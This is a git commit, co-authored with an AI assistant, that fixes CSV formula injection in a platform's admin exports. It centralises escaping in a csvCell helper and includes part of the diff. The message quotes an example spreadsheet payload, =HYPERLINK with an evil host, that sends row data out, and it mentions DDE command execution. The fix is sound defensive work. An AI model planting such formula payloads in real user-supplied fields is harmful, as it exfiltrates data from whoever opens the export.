fix(security): defang CSV formula injection in all exports

CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.

The platform exposes anonymous-attacker reachable sinks:

- `application.submit` is publicProcedure with `projectName` as
  `z.string().min(2).max(200)` — no character filter — so a project
  titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
  admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
  `AuditLog.userAgent` and dumped verbatim into the audit-log CSV.

Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:

- `src/components/shared/csv-export-dialog.tsx` — used by
  export.evaluations, export.assignments, export.filteringResults,
  export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)

Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
Matt
2026-04-29 04:14:42 +02:00
parent 9d0beed02f
commit fbc42f11fd
4 changed files with 61 additions and 45 deletions

View File

@@ -4,6 +4,7 @@ import { router, adminProcedure, protectedProcedure } from '../trpc'
import { logAudit } from '../utils/audit'
import { buildManifest, buildRecapPayload } from '../services/lunch-recap'
import { sendLunchRecapEmail } from '@/lib/email'
import { csvCell } from '@/lib/csv'
// ─── Shared zod schemas ──────────────────────────────────────────────────────
@@ -277,32 +278,28 @@ export const lunchRouter = router({
.input(z.object({ programId: z.string() }))
.query(async ({ ctx, input }) => {
const m = await buildManifest(ctx.prisma, input.programId)
const escape = (s: string | null | undefined) => {
const v = s ?? ''
return /[",\n]/.test(v) ? `"${v.replace(/"/g, '""')}"` : v
}
const lines = [
'Type,Team,Name,Email,Dish,Allergens,Allergen notes',
...m.members.map((row) =>
[
'Member',
escape(row.project?.name),
escape(row.name),
escape(row.email),
escape(row.dish?.name),
escape(row.allergens.join(';')),
escape(row.allergenOther),
csvCell(row.project?.name),
csvCell(row.name),
csvCell(row.email),
csvCell(row.dish?.name),
csvCell(row.allergens.join(';')),
csvCell(row.allergenOther),
].join(','),
),
...m.externals.map((row) =>
[
'External',
escape(row.project?.name),
escape(row.name),
escape(row.email),
escape(row.dish?.name),
escape(row.allergens.join(';')),
escape(row.allergenOther),
csvCell(row.project?.name),
csvCell(row.name),
csvCell(row.email),
csvCell(row.dish?.name),
csvCell(row.allergens.join(';')),
csvCell(row.allergenOther),
].join(','),
),
]